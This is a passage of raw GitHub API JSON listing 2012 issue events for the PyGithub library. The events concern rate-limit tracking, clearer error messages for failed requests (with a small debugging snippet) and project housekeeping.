exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-18T05:18:34Z","event":"assigned","id":15741470,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15675859","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-17T12:02:05Z","event":"subscribed","id":15675859,"actor":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14890679","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"referenced","id":14890679,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14890678","issue":{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4452000,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/25"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"subscribed","id":14890678,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14890677","issue":{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4452000,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/25"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"assigned","id":14890677,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14890532","issue":{"updated_at":"2012-05-07T10:45:58Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":6,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-07T10:45:58Z","title":"Review exceptions policy when receiving error HTTP status","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-12T19:45:51Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3617711,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/6"},"commit_id":null,"created_at":"2012-05-07T10:45:58Z","event":"closed","id":14890532,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14890531","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-07T10:45:58Z","event":"referenced","id":14890531,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14797847","issue":{"updated_at":"2012-05-07T10:45:58Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":6,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-07T10:45:58Z","title":"Review exceptions policy when receiving error HTTP status","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-12T19:45:51Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3617711,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/6"},"commit_id":null,"created_at":"2012-05-04T19:23:57Z","event":"referenced","id":14797847,"actor":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14550202","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-01T21:58:55Z","event":"subscribed","id":14550202,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14550200","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-01T21:58:55Z","event":"assigned","id":14550200,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/14466693","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public 